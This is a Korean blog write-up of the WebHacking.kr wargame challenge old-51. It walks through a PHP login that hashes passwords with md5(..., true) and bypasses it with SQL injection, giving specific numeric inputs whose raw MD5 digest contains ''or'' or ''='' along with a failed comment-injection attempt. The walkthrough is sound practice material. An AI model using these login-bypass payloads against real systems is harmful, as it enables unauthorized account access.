Search

WebHacking.kr Challenge old-51

목표 : MD5 raw_output True 취약점
관리자 페이지 로그인창과 소스를 볼 수 있는 링크가 있다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body bgcolor=black><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php if($_POST['id'] && $_POST['pw']){ $db = dbconnect(); $input_id = addslashes($_POST['id']); $input_pw = md5($_POST['pw'],true); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'")); if($result['id']) solve(51); if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>"; } ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font color=silver> <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div> </font> </form> </body> </html>
PHP
복사
id, pw를 POST로 전달 받고 id는 앞에 역슬래시를, pw는 md5 인코딩한 결과로 바꾼다.
id, pw가 아무거나 맞는것만 입력에 성공하면 문제는 풀린다.
상용 사용자가 많은 서비스라면 딕셔너리 어택도 방법이겠지만 sql소스까지 줬는데 sql 우회가 맞는 방법이겠다.
input_pw는 md5으로 인코딩되는만큼 넣는 값을 맘대로 조절하기 어려우니 input_id 부터 파보자
admin’”));-- 가장 기초적인 주석처리부터 시도했다
주석처리부터 안됐다.
사실 주석처리가 안되는 순간부터 애매해졌는데 30분 삽질을 하다 다시 코드를 보기로 했다.
$input_pw = md5($_POST['pw'],true);
PHP
복사
익숙치 않은 값 true가 보인다.
md5의 두번째 인자는 raw_output으로 기본 값은 false로 true로 값을 주게되면 원래 32bytes로 나오던 결과가 16bytes 바이너리로 변환된다.
import hashlib value = b"password" value_md5 = hashlib.md5(value) value_hex = value_md5.hexdigest() value_bin = value_md5.digest() print ("md5 hash hex :",value_hex) print ("md5_hash binary :",value_bin) #md5 hash hex : 5f4dcc3b5aa765d61d8327deb882cf99 #md5_hash binary : b"_M\xcc;Z\xa7e\xd6\x1d\x83'\xde\xb8\x82\xcf\x99"
Python
복사
hex 값이 false, binary가 true 값일 때의 결과가 나온다.
이를 활용해 pw='{$input_pw}' 를 참으로만 만들 수만 있다면 admin으로 로그인이 가능해진다.
MD5 binary 결과 값에 ‘ or ‘ 이 포함되는 값으로는 다음 값이 있다. (찾아보면 더 있을 것이다)
129581926211651571912466741651878684928 (binary 값 : b"\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8”)
이 값을 넣게되면 passwd = '\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8' 로 ‘8’이 참이므로 TRUE가 된다.
다른 방법으로는 ‘=’이 포함되는 경우도 있다.
9235566 (binary 값 : b"\xee\x83\xe2'='\xd3\x99\xed0\xda\xe8\xa1\xfe\xfd\xeb”)
이 값은 passwd = '\xee\x83\xe2' = '\xd3\x99\xed0\xda\xe8\xa1\xfe\xfd\xeb'passwd=0 false sql injection을 작동할 수 있다. False SQL Injection은 결국 형변환에 실패하여 리턴되는 값이 0이되는 모든 값에 대해 TRUE값을 리턴함으로써 나타나는 오류로 이를 만족하는 데이터 값이 DB에 없을 경우 실패할 수 있다.
이 개념에 대해선 다음 글을 참조하면 된다.
id 값에 아무 값이나 있어서 return 되면 되는 결과로 129581926211651571912466741651878684928 을 비밀번호에 넣으면 풀린다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.